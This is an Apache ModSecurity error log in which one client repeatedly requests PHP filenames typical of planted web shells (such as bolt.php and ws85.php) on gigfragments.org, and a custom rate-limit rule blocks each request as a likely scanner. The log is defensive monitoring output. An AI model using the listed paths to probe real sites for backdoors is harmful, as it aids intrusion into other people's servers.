[Sun Mar 29 02:24:19.559102 2026] [:error] [pid 60346:tid 60365] [client 20.197.233.108:64344] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "acgc03VrXSgLxlxLi9A-XQAAAQ4"]
[Sun Mar 29 02:24:20.322927 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:64362] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "acgc1HVrXSgLxlxLi9A-YAAAAQw"]
[Sun Mar 29 02:24:20.948805 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:63616] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "acgc1CkUyvlQod6qQu2l_AAAAME"]
[Sun Mar 29 02:24:21.578009 2026] [:error] [pid 39514:tid 39549] [client 20.197.233.108:64447] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "acgc1SkUyvlQod6qQu2l_wAAANc"]
[Sun Mar 29 02:24:22.228165 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:64345] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "acgc1nVrXSgLxlxLi9A-ZQAAAQs"]
[Sun Mar 29 02:24:23.467981 2026] [:error] [pid 39514:tid 39539] [client 20.197.233.108:64405] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "acgc1ykUyvlQod6qQu2mAAAAAM4"]
[Sun Mar 29 02:24:24.385239 2026] [:error] [pid 39428:tid 39481] [client 20.197.233.108:64336] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "acgc2KXMrozFMIaP8nIENQAAAFY"]
[Sun Mar 29 02:24:25.057050 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:64412] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "acgc2VvLf0RDUqcYq-ZQxgAAAAk"]
[Sun Mar 29 02:24:25.778317 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:64415] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "acgc2SkUyvlQod6qQu2mBQAAAM0"]
[Sun Mar 29 02:24:26.496528 2026] [:error] [pid 60346:tid 60352] [client 20.197.233.108:63622] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "acgc2nVrXSgLxlxLi9A-cQAAAQE"]
[Sun Mar 29 02:24:27.124909 2026] [:error] [pid 39427:tid 39455] [client 20.197.233.108:64361] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "acgc21vLf0RDUqcYq-ZQyQAAABc"]
[Sun Mar 29 02:24:27.756130 2026] [:error] [pid 39427:tid 39438] [client 20.197.233.108:64437] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bootstrap.php"] [unique_id "acgc21vLf0RDUqcYq-ZQzgAAAAY"]
[Sun Mar 29 02:24:28.447386 2026] [:error] [pid 39427:tid 39449] [client 20.197.233.108:64356] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bootstrap.php"] [unique_id "acgc3FvLf0RDUqcYq-ZQzwAAABE"]
[Sun Mar 29 02:24:29.155774 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:63584] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bootstrap.php"] [unique_id "acgc3XVrXSgLxlxLi9A-eQAAARE"]
[Sun Mar 29 02:24:29.777374 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:64386] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bootstrap.php"] [unique_id "acgc3XVrXSgLxlxLi9A-egAAAQ8"]
[Sun Mar 29 02:24:30.444071 2026] [:error] [pid 60346:tid 60355] [client 20.197.233.108:64404] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "acgc3nVrXSgLxlxLi9A-fAAAAQQ"]
[Sun Mar 29 02:24:31.100663 2026] [:error] [pid 39427:tid 39437] [client 20.197.233.108:64423] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "acgc31vLf0RDUqcYq-ZQ1QAAAAU"]
[Sun Mar 29 02:24:31.724085 2026] [:error] [pid 39427:tid 39448] [client 20.197.233.108:64422] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "acgc31vLf0RDUqcYq-ZQ2AAAABA"]
[Sun Mar 29 02:24:32.548485 2026] [:error] [pid 39514:tid 39533] [client 20.197.233.108:64403] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "acgc4CkUyvlQod6qQu2mCQAAAMg"]
[Sun Mar 29 02:24:33.284283 2026] [:error] [pid 39427:tid 39456] [client 20.197.233.108:64427] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "acgc4VvLf0RDUqcYq-ZQ2wAAABg"]
[Sun Mar 29 02:24:33.967976 2026] [:error] [pid 39428:tid 39467] [client 20.197.233.108:64402] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "acgc4aXMrozFMIaP8nIEPAAAAEg"]
[Sun Mar 29 02:24:34.590500 2026] [:error] [pid 39428:tid 39466] [client 20.197.233.108:63621] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "acgc4qXMrozFMIaP8nIEPwAAAEc"]
[Sun Mar 29 02:24:35.229715 2026] [:error] [pid 39427:tid 39449] [client 20.197.233.108:64445] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "acgc41vLf0RDUqcYq-ZQ3AAAABE"]
[Sun Mar 29 02:24:35.873638 2026] [:error] [pid 39427:tid 39454] [client 20.197.233.108:64424] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "acgc41vLf0RDUqcYq-ZQ3gAAABY"]
[Sun Mar 29 02:24:36.499984 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:64419] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "acgc5FvLf0RDUqcYq-ZQ3wAAAAk"]
[Sun Mar 29 02:24:37.127072 2026] [:error] [pid 39427:tid 39444] [client 20.197.233.108:64363] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "acgc5VvLf0RDUqcYq-ZQ4gAAAAw"]
[Sun Mar 29 02:24:37.847659 2026] [:error] [pid 39514:tid 39550] [client 20.197.233.108:64392] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "acgc5SkUyvlQod6qQu2mDQAAANg"]
[Sun Mar 29 02:24:38.496721 2026] [:error] [pid 39428:tid 39461] [client 20.197.233.108:64359] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "acgc5qXMrozFMIaP8nIERAAAAEI"]
[Sun Mar 29 02:24:39.140111 2026] [:error] [pid 39428:tid 39476] [client 20.197.233.108:64333] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "acgc56XMrozFMIaP8nIERwAAAFE"]
[Sun Mar 29 02:24:39.762036 2026] [:error] [pid 39429:tid 39506] [client 20.197.233.108:63650] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "acgc508pSj6sqgZaItnm-AAAAJQ"]
[Sun Mar 29 02:24:40.409640 2026] [:error] [pid 39429:tid 39495] [client 20.197.233.108:63619] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "acgc6E8pSj6sqgZaItnm-gAAAIk"]
[Sun Mar 29 02:24:41.349056 2026] [:error] [pid 39427:tid 39433] [client 20.197.233.108:64407] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "acgc6VvLf0RDUqcYq-ZQ5gAAAAE"]
[Sun Mar 29 02:24:42.277955 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:64374] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "acgc6nVrXSgLxlxLi9A-gQAAAQI"]
[Sun Mar 29 02:24:43.170090 2026] [:error] [pid 39428:tid 39474] [client 20.197.233.108:64365] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "acgc66XMrozFMIaP8nIETAAAAE8"]
[Sun Mar 29 02:24:43.828156 2026] [:error] [pid 39428:tid 39480] [client 20.197.233.108:64337] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "acgc66XMrozFMIaP8nIETQAAAFU"]
[Sun Mar 29 02:24:44.477112 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:64401] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgc7HVrXSgLxlxLi9A-gwAAAQM"]
[Sun Mar 29 02:24:45.164587 2026] [:error] [pid 60346:tid 60370] [client 20.197.233.108:63595] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgc7XVrXSgLxlxLi9A-hQAAARM"]
[Sun Mar 29 02:24:45.817006 2026] [:error] [pid 39428:tid 39469] [client 20.197.233.108:63585] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgc7aXMrozFMIaP8nIETwAAAEo"]
[Sun Mar 29 02:24:46.442868 2026] [:error] [pid 39428:tid 39465] [client 20.197.233.108:64429] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgc7qXMrozFMIaP8nIEUAAAAEY"]
[Sun Mar 29 02:24:47.063519 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:63634] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "acgc7ykUyvlQod6qQu2mKAAAAM0"]
[Sun Mar 29 02:24:47.705061 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:63652] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "acgc73VrXSgLxlxLi9A-jAAAAQs"]
[Sun Mar 29 02:24:48.352119 2026] [:error] [pid 60346:tid 60374] [client 20.197.233.108:63633] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "acgc8HVrXSgLxlxLi9A-kAAAARc"]
[Sun Mar 29 02:24:49.009721 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:64418] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "acgc8XVrXSgLxlxLi9A-lgAAAQM"]
[Sun Mar 29 02:24:49.653432 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:64364] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "acgc8XVrXSgLxlxLi9A-lwAAARI"]
[Sun Mar 29 02:24:50.279079 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:63643] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "acgc8nVrXSgLxlxLi9A-mgAAARQ"]
[Sun Mar 29 02:24:50.948416 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:64360] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "acgc8nVrXSgLxlxLi9A-ngAAAQk"]
[Sun Mar 29 02:24:51.586700 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:63555] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "acgc83VrXSgLxlxLi9A-ogAAAQY"]
[Sun Mar 29 02:24:52.245314 2026] [:error] [pid 39427:tid 39448] [client 20.197.233.108:64430] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/csv.php"] [unique_id "acgc9FvLf0RDUqcYq-ZQ8wAAABA"]
[Sun Mar 29 02:24:52.872368 2026] [:error] [pid 39428:tid 39476] [client 20.197.233.108:64369] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/csv.php"] [unique_id "acgc9KXMrozFMIaP8nIEVQAAAFE"]
[Sun Mar 29 02:24:53.587191 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:64347] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/csv.php"] [unique_id "acgc9XVrXSgLxlxLi9A-pgAAARU"]
[Sun Mar 29 02:24:54.224233 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:64420] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/csv.php"] [unique_id "acgc9nVrXSgLxlxLi9A-qQAAAQU"]
[Sun Mar 29 02:24:54.949293 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:64411] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "acgc9nVrXSgLxlxLi9A-rgAAAQo"]
[Sun Mar 29 02:24:55.576526 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:64387] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "acgc93VrXSgLxlxLi9A-sAAAARU"]
[Sun Mar 29 02:24:56.217430 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:64329] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "acgc-HVrXSgLxlxLi9A-tQAAAQM"]
[Sun Mar 29 02:24:56.846359 2026] [:error] [pid 60346:tid 60374] [client 20.197.233.108:63626] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "acgc-HVrXSgLxlxLi9A-uQAAARc"]
[Sun Mar 29 02:24:57.468056 2026] [:error] [pid 39427:tid 39452] [client 20.197.233.108:64426] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "acgc-VvLf0RDUqcYq-ZQ_AAAABQ"]
[Sun Mar 29 02:24:58.161974 2026] [:error] [pid 39428:tid 39482] [client 20.197.233.108:64416] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "acgc-qXMrozFMIaP8nIEWgAAAFc"]
